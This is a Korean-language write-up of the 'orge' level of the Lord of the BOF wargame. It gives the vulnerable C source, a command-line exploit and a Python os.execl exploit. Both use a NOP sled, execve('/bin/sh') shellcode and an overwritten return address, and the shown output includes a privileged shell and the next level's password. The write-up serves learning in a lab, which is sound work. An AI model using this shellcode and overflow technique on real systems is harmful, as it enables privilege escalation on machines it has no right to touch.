문제 소스는 아래와 같다.
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf(argv error\n);
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf(argv[0] error\n);
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf(stack is still your friend.\n);
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf(argument is too long!\n);
exit(0);
}
strcpy(buffer, argv[1]);
printf(%s\n, buffer);
// buffer hunter
memset(buffer, 0, 40);
}
이번 문제는 이전 문제에서 argv[0]의 개수가 77여야 한다는 조건이 추가 되었다. argv[0]의 개수를 맞추기 위해서는 여러 방법이 있다.
첫번째 방법)
단순히 아래와 같이 argv[0] 인자를 77개 맞춰주는 방법이다. 이후 공격 코드는 이전 문제에서 푼 공격 코드를 그대로 이용하되 RET 주소를 argv[0] 길이가 늘어난 만큼 빼준값을 넣도록 한다.
./darkelf : 9 byte
.////////////////////////////////////////////////////////////////////////orge : 77 byte
77-9 = 68
0xbffffc1c-0x44 = 0xbffffbd8
[darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orge `python -c print 'A'*44 + '\xd8\xfb\xff\xbf'` `python -c print '\x90'*100 + '\xeb\x1b\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x89\x74\x24\x01\x89\x44\x24\x05\xb0\x0b\x89\xf3\x8d\x4c\x24\x01\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Illegal instruction
[darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orge `python -c print 'A'*44 + '\xd9\xfb\xff\xbf'` `python -c print '\x90'*100 + '\xeb\x1b\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x89\x74\x24\x01\x89\x44\x24\x05\xb0\x0b\x89\xf3\x8d\x4c\x24\x01\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker
bash$
두번째 방법)
execl() 함수를 이용하는 방법이다. 아래 코드와 같이 작성하여 공격할 수 있다. 페이로드는 이번과 똑같다.
#!/usr/bin/python
import os
from struct import pack
shellcode = '\xeb\x1b\x5e\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x89\x74\x24\x01\x89\x44\x24\x05\xb0\x0b\x89\xf3\x8d\x4c\x24\x01\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh'
def main():
payload1 = 'A'*44 + pack('<L', 0xbffffbd9)
payload2 = '\x90'*100 + shellcode
os.execl('/home/darkelf/orge', 'A'*77, payload1, payload2)
if __name__ == '__main__':
print '[+] Strat'
main()
print '[+] End'
[darkelf@localhost darkelf]$ ./ex.py
[+] Strat
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker
bash$